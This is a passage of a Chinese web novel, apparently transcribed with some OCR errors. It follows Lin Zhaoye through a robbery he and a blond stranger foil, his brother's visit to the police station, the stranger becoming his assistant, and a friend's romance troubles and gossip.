林照夜目光微沉，面上却没什么变化，抓着钥匙串的那只手慢慢收紧，紧紧握住了挂在钥匙串上的那个挂件。 在旁人看来，他这完全就是吓呆了。 对面的小金毛面上闪过急切的担忧与惊慌，一把拽开身旁女人的手，几步就朝这边冲来。 "小心 来不及了。 小金毛心头一沉，顾不得计算位置，直接飞起一脚就朝持刀的劫匪踹了过去- 正中侧腰。 劫匪身子微微一僵，随即就被一股大力踹飞出去，在地上翻滚两圈之后，身子微微抽搐了几下，才不动了。 没了劫匪的身体遮挡之后，小金毛一眼就看到林照夜手里抓着的红蓝相间的.免子? 挂件长长的兔子腿上隐隐传来轻微的电流声。 林照夜拾头与还没来得及收回腿的小金毛对视了片刻，然后两人不约而同地扭头，看向飞出去少说六七米远的劫匪 前者注意到的是距离，后者注意到的是劫匪身体不正常的抽搐和痉挛。 林照夜:“ 小金毛: ….至少，人还活着。 应该。 关明熙在下班前收到了一份请柬。 是某个和关家有长期合作项目的家族，家里女儿下个月要办一场二十岁生日宴，给有交情的家族都发了份邀请函。 给关明熙这份不是给家族，而是给他个人。 邀请的内容除了时间地点之外只写了一行，希望他有空能够赏光到场，剩下就全是拍马屁拉关系的内容了 关明熙扫了一眼就丢到一边。 如果过生日的是这家的老爷子，他或许会在有空的时候到场庆贺一句，但换做几乎没碰过面的小女儿，他就是闲到在家睡懒觉也不会出席。 倒不是为了避嫌什么的，纯粹是没有睡懒觉重要。 按照惯例都是叫助理帮他备一份礼，到时候跑一趟送过去，帮忙说几句客套话，就算是很给面子了。 这么多年小关总对所有人都这么一视同仁，也没谁敢说他总慢人。 关明熙打电话给专门负责这块的助理。 等助理进门，关明熙把邀请函递过去，正要开口吩咐，无意间又警到邀请函上的地址 T市。 距离N市倒是不远。 这个念头一闪而过，关明熙紧跟着又想到林照夜跟来N市也有一个多月了。 比起过去跟着聂潮汐全国各地到处跑，他现在的生活几乎可以说是三点一线. 吃饭、逛N市、回家睡觉。 除了偶尔还悄咪咪跟宁归川碰头外，就没见他身边多出什么新朋友了。 偷偷摸摸鬼鬼祟素的主要是宁归川。 “关总?”助理见关明熙迟迟没有言语，有些疑惑地抬头, “没什么。”关明熙拿回邀请函，改口道，“你先回去吧，这个我再考虑考虑。 助理有些惊讶。 关总怎么突然对这种生日宴感兴趣了? 难不成是那位李家小姐有什么地方入了他的眼? 助理刚刚已经瞥见请柬上的名字，心下若有所思，面上却没有显露分毫，一板一眼地点头:“是，关总。 等助理离开之后，关明熙指尖轻轻敲了几下桌面，盯着邀请函又看了片刻，脑海里盘算着时间。 下个月应该可以挤出来几天的假期。 这点时间肯定来不及去看养母，但不能不管家里的弟弟。 关明熙思索片刻后，又拿起手机给林照夜打电话，准备问问他下个月的时间安排。 第一个电话没有打通。 关明熙微微皱了皱眉，心底莫名生出一点不安的感觉 他又拨了第二次电话。 这次电话快要自动挂断的时候终于被接通了。 “哥?”对面传来林照夜的声音，背景里隐约还有很嘈杂的说话声，似乎有人在大声叫嚷 关明熙瞬间警觉起来:“你现在在哪儿?" 林照夜沉默了片刻，背景里的吵嚷声更明显了。 他大概也意识到了这点，很快清了清嗓子，但多少还是有点底气不足:“在警局。 关明熙:”?" 23、23 短短两个月时间,进了两次警局, 上次是半夜掉水里，差点人没了。 这次是….见义勇为? 见义勇为的主要是那个小金毛，林照夜属于那个不小心路过抢劫现场的倒路人。 关明熙在赶到警局之前，听林照夜在电话里这么简短描述的时候,以为事实就是他说的这种情况。 等赶过去之后,才得知实际情况比他预想的还要危险很多, 那两个劫匪是住在附近的小混混,还都是有前科的瘾君子, 被抢劫的中年女人和他们是住在楼上下的邻居. 中年女人家里原本是开厂的,早几年条件还不错，但这两年生意不好做，一次决策失误就直接导致了工厂破产 家人被迫搬出了大房子,还背了一屁股的债务。 祸不单行，这时候家里的小儿子又突然生了病,需要不少钱动手术。 即便丈夫和公公都出去搬砖打工,但钱一打进卡里就会被直接划走大半用于还债，以前的别墅也被封了准备拍卖, 以前关系热络的亲戚一个个都变了脸色,远远看见他们都要主动避开。 只有一个曾经受过他们帮助的亲戚还念着旧情，主动为他们提供了现在的住处 但这个亲戚家境也不富裕,对于他们债务和医疗费也无能为力。 眼看着医院的费用就要交不上了，女人偷偷回去翻出了以前藏得比较隐蔽的首饰古董,想要私下卖掉凑钱去缴费。 谁知道就在女人和家里人商量这件事的时候,正巧被楼下的小混混听了墙角, 两人正为钱财发愁, 又仗着自己是未成年,便决定铤而走险，偷偷跟在女人身后，伺机抢劫。 若是平时，他们碰到生人，胆子可能还没有那么大。 但不巧,其中一个半路犯了毒\瘾，整个人都陷入了一种迷幻的狂躁状态，已经完全失去了理智, 那个突发情况下，即便有保镖跟着，除非寸步不离的贴身保护，否则也很难保证他的安全 若不是林照夜警惕心比较强，那个小金毛身手也足够好，说不定他们几个现在都还在医院急救室里躺着 汤助理跟在关明熙后面一起过来，听得眼前一黑又一黑, 这次的事究其本质，其实和上次落水也差不多。 都是差一点就会出事。 也都是运气好碰上好人了，所以才捡回来一条命。 但上次的落水还能嘱咐林照夜少喝酒，不要在半夜出门鬼混，这次就纯然是无妄之灾了。 总不能说他就是不宜出门吧? 这次和警方交涉的主导人换成了关明熙自己。 交流沟通的过程中，关明熙完美饰演了一个冷静明事理的好家长，说话举止都像是拿尺比出来的进退有度。 汤助理在旁边看着却有点心惊肉跳的感觉。 他看得出来，关明熙现在的心情其实很糟糕. 以往关明熙出现这种低气压状态的时候，紧跟着就要有人倒霉，或者某个对头遭受重大打击。 但眼前这事儿….却有点无可奈何。 目前所有的证词和线索都表明，对于林照夜这个“路人”来说，纯粹是场意外。 无论是发生抢劫的时间段，还是林照夜去那家面馆，都是临时决定的偶然事件。 两边的偶然凑巧撞到一处，才有了这场意外事件。 关明熙自然不能迁怒林照夜，作为罪魁祸首的劫匪也已经被抓。 一想到人已经在自己眼皮子底下，还差一点再出事，关明熙难免生出一种超出掌控的不爽。 不过他掩饰得很好，除了认识比较久的汤助理隐约感觉到他心情不大好之外，其他人都没觉察到什么。 林照夜也就在他刚进警局大门的时候心虚了那么一下，见他态度如常，过来第一件事就是关心他有没有受伤，渐渐就放松下来。 等到做完笔录，听说送去医院的劫匪已经醒了过来，警察就提醒说他们可以先回去了。 关明熙自然是准备直接把,人领回去。 快要走出警察局的时候，林照夜拉了拉他的袖子，说:“等一下。 关明熙停下脚步，问:“你又突然想起什么线索了?" 林照夜摇了摇头:“不是，等一下湛闲庭，我还有点事要找他。 他左右张望了一圈，没见到人，就去找大厅里的值班警察，问:“请问你们看到在我前面出来的金发小哥了吗? 关明熙反应过来，这是今天和他一块撞见这场意外的年轻人的名字。 两人之前就是分开做的笔录。 关明熙到的时候对方已经不见踪影，他还以为那个人已经提前离开了，不过这个名字正思索间，一头金毛的年轻人就不知道从哪里钻出来，看到林照夜就眼睛一亮，嘴里喊着:“林哥、林哥，我在这儿呢，你还没走啊，真是太好了。林照夜转过头，上下打量他一眼，问:“你刚刚去哪儿了?"“去倒水了。”小金毛笑嘻嘻地说道，“这边的小姐姐可热情了，还请我吃东西——林哥你吃不吃糖?"他朝林照夜张开手，掌心里正捧着一把陈皮糖。“谢谢。”林照夜挑了一颗撕开包装塞进嘴里，又挑了两颗分别递给关明熙和汤助理，“哥，汤哥，吃糖。小金毛一点也不介意他借花献佛的举动，反倒乖乖等他抓完了又问一句:“再抓几颗吗? 见林照夜摇头，才收回手，把剩下的糖塞回口袋。 汤助理暗暗打量了他半晌，好奇问:“你们之前认识?” 林照夜看他一眼，舌尖抵着糖，没接话。 小金毛主动道:“现在算认识了，我和林哥这么巧碰到这种事，也算是过命的交情了。 汤助理又看了他好几眼，忍不住说道:“你心还挺宽的。” 刚刚听警察不带感情的描述的时候，他都能感觉到当时情况之紧急刺激，不由自主地屏住了呼吸. 换个人恐怕得后怕许久。 不过换个角度想想，一般人也不可能出手那么果断。 小金毛只是笑笑说:“我当时也没想那么多，而且现在不是也都没什么事么。" 说完他又去看林照夜:“林哥你们要回去了吗?"林照夜点点头，问他:“要不要送你一程?"小金毛眼睛一亮，嘴上还稍微推辞了一下:“这会不会太麻烦你们了。”“不会，你可是我的救命恩人。”林照夜说完转头看向关明熙，“哥，方不方便——”不方便的话他可以另外打车送小金毛回去。但这话没说完，他对上关明熙看过来的眼神，很自觉地把话咽回去，转头对小金毛说:“方便，走吧，上车。小金毛挤掉了汤助理的位置——如果再加上汤助理，后座三个人就略显拥挤了。不过这对于汤助理来说未必是坏消息。因为这意味着他今天可以提前下班了， 等小金毛上了后座之后，汤助理还十分贴心地帮忙关上了车门。 隔着车窗，他看见小金毛一上车就朝林照夜那边凑了过去，一口一个“林哥”叫得亲热 没一会儿称呼又变成了“照夜哥”。 无论外表还是言行，这个名叫湛闲庭的小金毛看着都是个十分活泼外向的类型。 话痨和活泼之间通常就是微妙差别。 这个小金毛话多，但不算密，会主动找话题，却不会随便打断别人的话，给人感觉偏向于比较讨喜的活泼热情. 汤助理直觉林照夜是挺喜欢他这个性格的。 事实也确实如此，上车没一会儿，林照夜和小金毛的话题就连着跳跃了好几个维度，已经偏到爪注国去了，旁边的人稍微走一下神就跟不上了。 可能这就是年轻人之间的神秘磁场? 汤助理冲车上的人挥挥手，目送着顶头上司、上司的弟弟，以及上司弟弟刚认识的新朋友远去。 明明之前分别的时候也不少，但不知道为什么，这次汤助理却感觉到了一些复杂的情绪- 莫名生出了一种有什么在逐渐离他远去的淡淡惆怅。 很快汤助理就知道是什么了。 当天晚上，小金毛就光速上任，成为了林照夜自己招到的第一个生活助理。 林照夜还为这件事特意给汤助理解释了一下。 汤助理毕竟是关明熙手底下的正式员工，林照夜很多事都不好意思太过麻烦他。 林照夜也从来没想过要把汤助理真正要到身边，那对汤助理来说太过大材小用了。 最后思来想去，还是自己培养一个跑腿的用着比较省心。 汤助理打听的第一个八卦就是小金毛的事。 “你怎么想起来让他给你当助理?”汤助理实在好奇，一般来说报恩也不是这个报法吧, 林照夜轻笑了一声，说:“这就不得不提我们之间的缘分了。" 汤助理总觉得他这话的语气有点意味深长。 “什么缘分?"“他当时会出现在那个路口，就是为了去找我面试助理的。”林照夜说道。“这么巧?”汤助理也惊诧，不过想想又觉得好像还挺合理，“我和关总原先还担心是不是A市那边的人想趁机钻空子——你是什么时候知道这件事的?"“到警局听到他名字之后。”林照夜解释道，“我在一天之前收到过他的面试申请，跟他约了那天下午三点线下面试。湛闲庭在线上就提交过自己的简历，但没说自己染了金毛。简历上不仅是黑毛，还是没有佩戴任何额外装饰品的证件照，林照夜就算大脑是扫描仪成精也很难立刻就把人认出来 不过到了警局之后，一报名字，林照夜就把人对上号了。 但林照夜一开始没提这件事。 主动跑过去跟救命恩人说，你来给我当生活助理没事帮忙跑腿干杂活脑子秀逗了都干不出来这种事吧, 所以脑子秀逗了的那个不是林照夜，而是淇闲庭。 林照夜说要感谢他，问他想要什么，同坐在车上的关明照也补充，他可以帮忙提供工作岗位-一怎么看都比跟着林照夜这个现无业游民有前途。 但在被告知了两人的身份之后，湛闲庭反而更坚定地想要继续应聘林照夜的助理职位了。 "为什么?”汤助理脱口而出，“他也对你一见钟情了?" 总不能这也是林照夜在外面异父异母的亲兄弟吧? 林照夜微微停顿了片刻，语气变得幽怨了几分。 “他说他就想趁着年轻多锻炼锻炼自己，钱不钱的不重要，跑腿干杂活也不要紧，最主要的是，像我这么倒霉的，他之前还没碰见过，他想跟着我开开眼界。 汤助理:" 这话还真是，又扎心又叫人难以反驳。 24、24 湛闲庭是K市人,在A市上的大学。 因为不想在同一个地方久待，于是毕业后辗转来到了N市找工作。 第一份工作就是给无业游民林照夜当生活助理。 简单粗暴点来说，就是跑腿打杂的。 楼上的装修工人要不定期慰问，楼下杂物也要收拾,柜台下面的零食柜都得经常补充。 林照夜坐在柜台后面翻报纸,翻得差不多了才分出一个眼神给货架前的湛闲庭:“要是干的太无聊了就跟我说。 湛闲庭正拿着鸡毛掸子清理靠墙货架背面的灰尘,闻言连忙摇头:"一点也不无聊,我觉得我生下来就是应该干这种工作的，这种工作可太适合我了。 林照夜嘴角抽了抽，心说这人还真挺会睁眼说瞎话的。 他这儿的活其实不算多重,像是大扫除或者添置大件东西，都会另外聘请专业的工人,助理只需要在旁边盯着就行。 就是日常的事情比较琐碎。 很难想象一个对自己未来前程所有追求的大学毕业生,会愿意天天蹲在这个偏僻铺子里扫灰收拾杂物, 偏偏这人说这话的时候，表情还分外真挚。 不过看他干活这么积极,林照夜也没说什么，把手边的报纸翻到最后一页益智游戏版面,扫了一眼就折起来放到一边。 湛闲庭正好掸完灰，转头就很有眼力见地过来收走:“照夜哥,看完了我帮你收起来吧。 林照夜点点头,躺回柜台后面的躺椅上开始刷手机。 楼后面有一个小的杂物间,在工作间旁边,自从林照夜买下来之后，里面堆的箱子就越来越多，多数都是看完的报纸和杂志。 湛闲庭来了之后，花了足足半天的时间才搞清楚不回区域的分类，现在再来放东四就轻车熟路了。 放报纸的箱子旁边是杂志区。 杂志种类很多,有小说漫画也有专业期刊，甚至还有一些明星写真，看起来像是从哪个即将倒闭的报刊亭里进货来的，看不出什么规律。 湛闲庭那天收拾东西，分门别类之后默默数了数，发现其中医学杂志竟然是数量最多的。 这让他有点意外。 林照夜这个人看着就跟医学没什么关系，他既不认识什么医生朋友，学的也不是医学专业，身边也没有病人，平时更是从不提起什么医学相关的话题。 湛闲庭一开始还想过，也许林照夜真的只是随手买来垫桌脚的。 这箱子里面堆了那么多书，一般人看上一年半载都不一定能看得完，林照夜这人没事就在外面闲逛，大部分时间还在看动画片电视剧，哪有空闲的时间看这么多书? 但这家铺子位置偏僻，人迹罕至，林照夜有时候带回来一些新杂志或者新报纸，都是随手翻过一遍就塞进仓库里。 偶尔才会挑出一两本放到工作间的书架上。 看样子也不像是做戏或者充门面。 现在书架上也只有孤零零的几本书，还是不同领域不同风格的，狗血虐恋小说和热血漫画中间夹着去年的医疗期刊合订本，再旁边是世界通史。 很难总结出来到底是什么样的兴趣偏好。 湛闲庭将今天的日报按日期放好，又瞄了一眼旁边的医疗杂志，脑海里隐隐预约有些猜想。 林照夜咬着棒棒糖说:“暂时没这个打算。 “那你是对医学感兴趣?" “你要这么说也行。”林照夜不置可否，从手机里分出一个眼神给柜台对面的湛闲庭， “你终于觉得跟着我这个无业游民没有前途了?" 湛闲庭靠在柜台上撑着下巴，眨巴眨巴眼睛，摆出闲聊的架势:“我只是有点好奇而已。照夜哥未来就没有什么打算吗?" “混吃等死不好吗?”林照夜继续刷手机。 “没什么不好的。”湛闲庭顿了顿，认真打量了林照夜的侧脸一会儿，又说，“不过我总觉得照夜哥不像是那种心里没有成算的人。 人生在世，总会有点追求吧。 那些真混吃等死的公子哥，平时也自有一套吃喝玩乐的兴趣爱好，也可以说他们的“工作”就是花钱. 总之不像是林照夜这么在铺子里躺着，再不然就是出去围绕整个城市漫无目的地到处溜达，还经常跟小学生混到一起玩。 这也算不上是“鬼混” 幸亏这地方没什么人认识过去的他，不然恐怕外面就要流传说他受刺激太大疯掉了 林照夜微微挑了下眉:“你还挺相信我。” 没等湛闲庭继续恭维，他又继续道:“不过你说的也没错，我这是在熟悉环境，顺便调整心态。" 湛闲庭倒是没怀疑这句话。 林照夜之前遭遇的事，要是心理素质差一点，说不定就真疯了，换个环境经常出去散散心也正常 不过林照夜没直说的是，穿过来这么久，他也不是光顾着散心了。 经过这段时间的恶补，他已经大概了解了这个世界各方面的发展水平，以及与前世的差异之处。 虽然两个世界的文化背景以及语言生活习惯都大差不差，看起来像是同等时代的科学文明社会，但不同领域的格局又有不少差别。 甚至是天差地别。 林照夜看的医疗期刊最多，对这方面的感触就更深刻。 这个世界的医疗发展水准比前世要高一些，前世很多尚未攻克的疑难杂症，在这个世界都已经有了有效的治疗办法。 而前世某些应用比较广泛的民用科技在这里还处于研发保密阶段，或者干脆还是一片空白。 再大众些的比如餐饮、文娱等领域，状况也与前世截然不同。 这个世界因为律法上仍存在一些漏洞，餐饮行业的乱象比前世要多得多，而文娱行业几乎是资本过家家的独角戏，不像前世更多的在内容上疯狂内卷。 而且不同地域、环境、政策等等，也会在不同领域产生截然不同的影响。 差之毫厘，谬以千里。 林照夜前世再多的成功经验，也不可能就这么直接照搬过来, 没做好的充分的调查了解，结果很有可能就是在稻田边上卖米，在林场门口卖木头，不说血本无归吧，还有可能被人怀疑是脑子有问题 林照夜这人是挺有爱心的，但也不想当冤大头。 很多时候选择比努力重要的多，他也要等待一些合适的时机。 反正他现在有钱、有哥，暂时不用着急。 嗯，这辈子他一定要坚决反对内卷，以养老的心态和目标去搞事业。 在下一个周一的时候，宁归川又开车来了林照夜的铺子。 刚下车就看见一个一米九几的陌生男人，手里拎着大包小包的东西从身旁路过，径直走进铺子里 进去之后又是收拾东西，又是给林照夜倒茶，过了一会儿还去里间拿了件外套给他披上 宁归川看得一愣一愣的，带着满脸狐疑走进去，盯着柜台后面林照夜的脸看了好一会儿，确认没认错，才又转头以同样奇怪的眼神打量旁边的金毛, 别的不说，长相倒是挺帅气的。 就是长得过于高了——看了一会儿，宁归川都觉得自己脖子有点疼。 林照夜看到宁归川的时候也有点意外。 倒不是奇怪他怎么突然跑过来——这位宁少爷也是个不务正业的主，往他这边跑也不是一次两次了,。 虽然时常自说自话，而且嘴巴一如既往的贱，但在没有恶意的情况下还算有所收敛。 剩下的就纯粹是刻进DNA的本性了，改不了。 鉴于他时不时带来一些A市那边的最新八卦，林照夜对他总体还是报以一个欢迎的态度 不过今天宁少爷似乎不是来分享八卦的。 进了门摘下墨镜，眼下那一圈阴影重的都能去鬼屋客串NPC了。 林照夜打量了他几眼:“宁少爷你这是半夜当贼去了?" 说着又吩咐湛闲庭去给客人泡杯浓茶。 湛闲庭点点头转身去泡茶。 “有事没睡好，等会儿再说。”宁归川决定先满足自己的好奇心，“你换口味了?" 林照夜今天刚换了一家店点奶茶，闻言下意识低头看了眼手里刚戳开的全糖奶茶，还有点茫然:“什么?" 宁归川忍不住扭头，一边继续说道:“虽然这个长得不比那个聂什么的差，但这也太高了吧，你跟他站一会儿不会觉得有点费脖子吗?" 刚端着茶杯准备走过来的淇闲庭:“ 刚反应过来宁归川在说什么的林照夜:" “他是我新招的助理。”林照夜顿了顿，解释，“帮我处理一些琐事。 “你不是不耐烦人跟在你屁股后面吗?"宁归川半信半疑，又盯了湛闲庭几眼，说，“不过你要是真的换了口味，其实这个身材也挺好的，搞个对象也不亏。 湛闲庭手一哆嗦，差点把茶杯给摔了， 宁归川一如既往地不会看人脸色说话，其实他倒没有别的意思，只是想起林照夜的“前任”，心里对比了一下，然后没过脑子就说了出来。 主要是以前也没见谁真跟林照夜走得近的。 过去林照夜狐朋狗友挺多，也经常出门“应酬”，但端茶倒水之类的事那些人是不会干的，林照夜跟他们也不会靠的太近。 纯粹就是大哥和小弟的关系 在宁归川视角里，湛闲庭已经是表现得关系最亲近的那个了。 前面的小关总不参与这种排名。 林照夜觉得自己早晚得把宁归川这张破嘴给缝上——这人整天就没什么别的事儿可干了吗? 他是知道宁归川说话的德性，但新来的助理显然对这位宁少爷不够了解。 看着湛闲庭那一脸犹豫中夹杂着惊恐，站在原地不知道该不该上前的尴尬模样，林照夜无奈的叹了口气，开口解释。 “这人就是喜欢以己度人，说话不过脑子——你放心，我对男的没兴趣。 "难道那个姓聂的其实是女的?”宁归川满脸震惊。 "”林照夜忍了又忍，还是没忍住，将手里还没拆封的饼干扔到了宁归川的脸上，“我也不喜欢女人。’ "那你喜欢什么?钱?”宁归川退开一步，接过饼干，撕开啃了一口，顿时扭曲了一下脸色，“怎么这么甜?" 林照夜抬了下眼皮，接道:“对，我最喜欢钱。 什么男人女人，都只会影响他赚钱的效率. 湛闲庭终于将泡好的茶送上来:“宁先生，喝茶。 宁归川一口气灌下去半杯茶，中途不知道又想到了什么，忽然又咳嗽起来，差点把水喷出去。 林照夜和湛闲庭不约而同地往后退了两步。 “咳咳咳，那你和那个聂潮汐.你们是真的没有——难道贺修远说的都是真的?" “什么真的?”林照夜满脸嫌弃地又往后退了一步。 湛闲庭从橱窗里拿来半包纸巾递给宁归川。 宁归川放下杯子，拍了拍胸口，缓过气来一边擦嘴，一边擦桌子，打量了一会儿林照夜，脸上露出恍然的神色, “哦对，我都忘了那会儿你都被赶出家门了，估计也没听说后面的事。” 宁归川小嘴叭叭叭就开始讲起后来的圈内传闻。 资惨远不是藏了你墙角吗，一开始其实好多人说那个姓录的不地道，还有人劝贺修远离这种黑心肝的人远一点，但那会儿他跟那个姓嘉的好像正浓清蛮意着呢，出去到处跟人叭叫以你就是条可怜的狗，赫了五年都还没极到!人.…. 被迫旁听的湛闲庭: # 这人嘴可真碎啊。 更叫人意外的是，这人嘴这么碎，还这么毒，竟然没被人打死。 湛闲庭震撼，下意识转头去看林照夜。 就见他老板面上只有一丢丢无语，更多的是习以为常。 见湛闲庭满脸震惊的看过来，他还张张嘴，无声地安慰了一句:“习惯就好。 一真是好涵养。 湛闲庭由衷地生出了一种敬佩之情。 宁归川对于自己那张讨嫌的嘴毫无自觉，说完圈里人因为那则传闻而掀起的新一轮嘲讽之后，又好奇地看向林照夜. “所以你舔了那么久，真没舔成功?" ".”林照夜无语归无语，但回顾原主的记忆，又没办法说出反驳的话，“我和他确实没有确认过名分。 准确的说，原主其实从没有跟聂潮汐告白过。 当然，聂潮汐也没有跟原主索要过名分。 他本就对原主没什么真心，有没有名分原主都已经对他予取予求，他自然不会开这个口。 纵观记忆里的过往，两人一道出门见客，原主介绍的都是“我的朋友”、“我最要好的朋友”。 不过圈子里的人都自觉心照不宣，背后自动给补成了“男朋友”。 就连林照夜自己也很难找个借口去解释清楚。 因为原主对聂潮汐好得实在是太过头了，说是当祖宗供着都不为过。 掏心掏肺到这个份上，再说他对聂潮汐没有那种爱情意义上的心思，就连林照夜都说不出口。 事实却又是，他们俩之间确实清清白白。 原主确实是在没有任何名分的情况下，心甘情愿地为聂潮汐付出，不求任何回报。 但不是喜欢，还能是什么原因? 总不能真是被下了降头吧。 你不会是被他拿住了什么把柄吧?”宁归川提出了另一种猜想，“还是罪大恶极到一暴露出来一辈子就完了的那种?" 要真有，我现在还能在这儿?”林照夜反问。 说的也是，要真有把柄，他们当时就不是把你赶出来，而是直接送进局子里了。"宁归川认真思考了一下，“那个聂潮汐不会是会什么巫术吧? 如果他脸上的幸灾乐祸能收一收，林照夜还会稍微相信一下他是真的在担心自己。 "谁知道呢，反正我现在已经跟他没关系了。"林照夜啊呵一声，选择和他互相伤害，“话说回来，何学长同意跟你出去约会了吗? 宁归川的脸瞬间就垮了下来。 直到这时候，他也终于回想起今天来找林照夜的真正目的。 “昨天我们一起去了城郊的游乐场。”宁归川脸上看不出多少高兴的神色。 难道是你哪个前任跑过来捣乱了?”林照夜不负责任地猜测。 "没有。”宁归川叹了口气，“是那群小孩子。” “你把他们一起带过去了?”林照夜倒是不怎么意外。 何霜降没那么好打动。 大概率是宁归川在给孩子们送了礼物之后再提出邀请，然后何霜降一时感动才答应下来, 宁归川点了点头，唉声叹气:“那几个小孩从来都没有去过游乐场，而且他们一个礼拜最多才能见到霜降一次，我看他们实在可怜. 于是一时心软，索性包了半天场，把所有能出门的孩子都带过去玩了一个下午。 结果去了之后就光顾着操心照看小孩了，压根不是想象中那种浪漫又旖旎的双人约会”林照夜说道， “这不是好事吗。”如果我是何学长， 我一定会觉得很感动。 ''我能感觉他确实很感动，回来的时候一直跟我道谢…”就连眼睛都比平时明亮几分。 宁归川完全能感受到他身上由内而外进发出来的欢喜与感激，是真正触及到了真心的情绪，而不是平时那副伪装出来的温柔和善。 “那你还有什么不满意的?”林照夜听得有些不解，“你总不会幻想他会因此立刻就狂热的爱上你吧?" “我没有——”宁归川张嘴就下意识反驳，顿了顿又有些颓然地抓了抓头发，“我只是感觉.…,感觉他感激我是真的，但反而距离我更遥远了一点。 宁归川这会儿已经完全想不起刚刚嘲笑林照夜的时候了，抓着他让他履行一下恋爱军师的职责。 ''你帮我分析分析——既然那么感动，不应该对我的好感更多一点吗?" ''到底是哪里出了问题?” 宁归川回去之后翻来覆去一整晚，又反复思索回忆了一个上午，始终没有想清楚到底哪个环节出了问题。 想到这里，他整个人又颓废了几分，只能抬头，眼巴巴的望着林照夜。 被寄予厚望的林照夜:“.” 他这张脸难道看起来很擅长解答恋爱问题吗? 宁归川前脚才嘲笑他舔小明星舔了五年都没舔到手，能不知道他几斤几两?不过就是病急乱投医，死马当活马医 不过林照夜还真有点猜测。 以何霜降那个情况，远离回避未必不是真心。 有时候就是上了心，于心有愧，才会保持距离，甚至退避三舍。 “你真的想要我给你建议?”林照夜多问了一句。 “当然。”宁归川连忙点头，眼底流露出几分不自知的期待, 虽然不想承认，但事实就是，林照夜似乎真的比他更了解何霜降 而且是了解得多。 “我的建议就是到此为止。”林照夜说道，“及时止损。你舍得吗? 宁归川表情一僵。 不用他再说什么，林照夜就看出来他的回答 一他舍不得。 未必是已经情根深种到什么地步，只是宁少爷已经习惯了在感情上无往不利，过去只有他看不上的，没有他舔不到手的。 除了性向实在不合，无能为力的。 真有那不为金钱折腰的，最终也会为他在其他方面的付出而动容。 也可能是他以前看上的人都还年轻，容易冲动。 即便只是为了尊严和强迫症，宁归川也不可能真的这么快就放弃，况且他向来认为自己舔的每一个对象都是“真爱” 既是“真爱”，怎么可能舍得放手? 林照夜的潜台词也很清楚，就是在说这位“真爱”很有可能不会爱上他，让他不要白费力气。 宁归川最后黑着一张脸匆匆离开 湛闲庭收拾完残局，有点担心地看了林照夜一眼:“照夜哥，那位宁先生是不是生气了? 林照夜将躺椅的位置往后挪了挪，不在意地摆摆手:"小孩子气性大，走得也快，不用理他，过不了两天他又得厚着脸皮来问我何学长喜欢什么了。 湛闲庭半信半疑，但见林照夜语气笃定，也就没再放在心上。 果不其然，两天时间都没等到，周三下午的时候，宁归川又跑过来找林照夜了 不同于上次临走时的阴沉面色，这次宁少爷脸上不见一点阴霾，反而全是过分灿烂热情的笑意， “照夜啊，忙着呢?”宁归川趴在柜台上，探头去看后面躺椅上看杂志的林照夜。 林照夜瞥了他一眼，只见宁归川脸上的笑容又加深了几分。 热切到.甚至透露出几分狗腿和讨好。 还有一丝丝的心虚。 不对劲。 林照夜从躺椅上起身，狐疑地打量着宁归川:“你又做什么对不起我的事了?" 宁归川呛得咳嗽了两声:“说什么呢，咱们现在可是货真价实的好兄弟，我怎么可能做对不起你的事。 如果他能直视林照夜的眼睛说话的话，或许能更有说服力一点。 淇闲庭搬来一张凳子:“宁先生，请坐。 宁归川动作拘谨地坐下来，甚至说了“谢谢”。 湛闲庭略带诧异地看了他一眼，但没说什么，又去倒了杯茶 因为现在已经是下午，他没有泡绿茶，而是泡了杯花构杞茶， 宁归川屁股只占了凳子的四分之一面积，像是有什么东西一直往屁股上扎，眼神上下左右乱飘，最后总会不受控制地飘向门口。 副随时准备夺门而出的模样。 湛闲庭把茶杯递给宁归川:“宁先生，喝茶。” “哦哦。”宁归川点头应着，端起杯子就往嘴边递，一张嘴，一朵菊花就吃进嘴里，“呸呸呸——好烫! 没来得及提醒的淇闲庭:"…" 林照夜:" 问题似乎很大啊。 在这一瞬间，林照夜也生出了几分不太好的预感 “你到底干什么了?”林照夜眯了眯眼，上下打量宁归川的眼神像是在琢磨从哪里下刀比较合适。 “我.”宁归川被盯得头皮发麻，但还是硬着头皮开口，“我说了你别生气——我真的是不小心 “你说。”林照夜语气淡淡。 “就是那个我听说，关总——你哥，他准备带你去T市参加李小姐的生日宴，对吧?” “我有个朋友跟他家是亲戚。”宁归川吞吞吐吐地继续说道，“听他们说关总最近回话说要带个人参加生日宴，还跟他们另外要了张请束。 那边当然是立刻就给了，还是特意让亲信亲自送来的。 不过请柬上并没有写名字，对面也不知道关总要带谁来，最近私下里种种揣测传得漫天飞舞。 大家都很好奇小关总会带什么人到场。 因为宁家和关家关系还算不错，加上宁归川最近又在N市，那边的朋友就突发奇想跑过来问他知不知道什么内部消息 宁归川还真知道。 准确的说是猜到了。 日理万机的工作狂最近疯狂加班，身边多出来的唯一和工作无关的人事物也就一个新认的弟弟了。 能让工作狂临时挤出时间带人亮相，潜台词是撑腰，除了最近处境艰难的林照夜，还能有谁呢。 关明熙没直接说谁，是不想引来太多关注 在公开露面并当众表明清楚态度之前，仅凭着一张请柬上的名字，私下里种种流言蜚语只会优先往阴谋论的方向蔓延发展. 同时也一定会有很多好事的人跑过来找林照夜打探消息，纠缠不休地问个没完。 多一事不如少一事。 但这其实并不是什么不能说的秘密， 宁归川就算真的透露出去也不是什么大不了的事——也不应该是现在这副心虚到不敢直视人的模样。 林照夜靠在柜台边，一手撑着下巴，指尖轻轻敲了敲桌面。 笃笃两声轻响就叫宁归川打了个哆嗦。 “继续说啊。”林照夜语气平静，“然后呢。” 宁归川低头抠了一会儿凳子角，支支吾吾半响，终于眼一闭嘴一张，道来真相。 “他们之前私下里传关总是看上李小姐了，所以才会屈尊参加生日会，后面才听说他要另外带人去，就又有人猜关总有了伴，所以借这个机会带出去亮个相。 宁归川微微顿了顿，眼睛睁开一条缝偷看了林照夜一眼，见他脸色还算平静，又继续往下说。 “我、我当时不是被你气到了么，听他们来问我见没见过，我就、我就顺口说见过… “怎么说的?" “我说、说，关总家里那个.呃，肤白貌美”宁归川瞥了眼林照夜的脸，视线又飞快地下落，声如蚊蝇， "大长腿。 林照夜: “ 湛闲庭借着身高优势下意识瞥了眼柜台后面，然后默然:“. 好像也不算假话。 林照夜那张肤色冷白的脸上没了表情，还真有点冷美人的气质, 他的语气依然温柔慵懒，只是莫名透着点凉飕飕的寒意。 “还有呢?”林照夜不信他就只说了这么一点。 “还有…还有家道中落流落在外但勤俭持家、坚韧不屈 宁归川闭上眼睛，视死如归般一口气说完:“——被关总宠上了天。 林照夜: 湛闲庭: 